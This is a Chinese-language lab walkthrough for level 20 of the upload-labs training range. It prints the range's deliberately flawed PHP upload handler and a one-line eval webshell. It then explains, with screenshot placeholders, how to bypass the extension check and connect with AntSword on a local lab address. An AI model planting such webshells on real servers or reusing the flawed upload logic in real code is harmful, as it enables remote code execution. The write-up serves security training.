upload-labs-master-Pass-20

107 阅读1分钟
$is_upload = false;
$msg = null;
if(!empty($_FILES['upload_file'])){
    //检查MIME
    $allow_type = array('image/jpeg','image/png','image/gif');
    if(!in_array($_FILES['upload_file']['type'],$allow_type)){
        $msg = "禁止上传该类型文件!";
    }else{
        //检查文件名
        $file = empty($_POST['save_name']) ? $_FILES['upload_file']['name'] : $_POST['save_name'];
        if (!is_array($file)) {
            $file = explode('.', strtolower($file));
        }

        $ext = end($file);
        $allow_suffix = array('jpg','png','gif');
        if (!in_array($ext, $allow_suffix)) {
            $msg = "禁止上传该后缀文件!";
        }else{
            $file_name = reset($file) . '.' . $file[count($file) - 1];
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH . '/' .$file_name;
            if (move_uploaded_file($temp_file, $img_path)) {
                $msg = "文件上传成功!";
                $is_upload = true;
            } else {
                $msg = "文件上传失败!";
            }
        }
    }
}else{
    $msg = "请选择要上传的文件!";
}

准备一句话木马 取名20.php

<?php 
@eval($_POST[q]);
?>

直接上传抓包

image.png

抓包后有些地方需要修改

修改前 image.png

修改后

image.png

放包,查看服务器目录,是否有20.php

image.png

上传成功。

复制图片地址,用蚁剑进行连接,这里有个细节,可能有人会问蚁剑连接的URL地址
.php后面有一个点,我们需不需要把它删了,其实这个点删不删没所谓,不影响的,照样能连上 http://192.168.31.33/upload-labs-master/upload/20.php.

image.png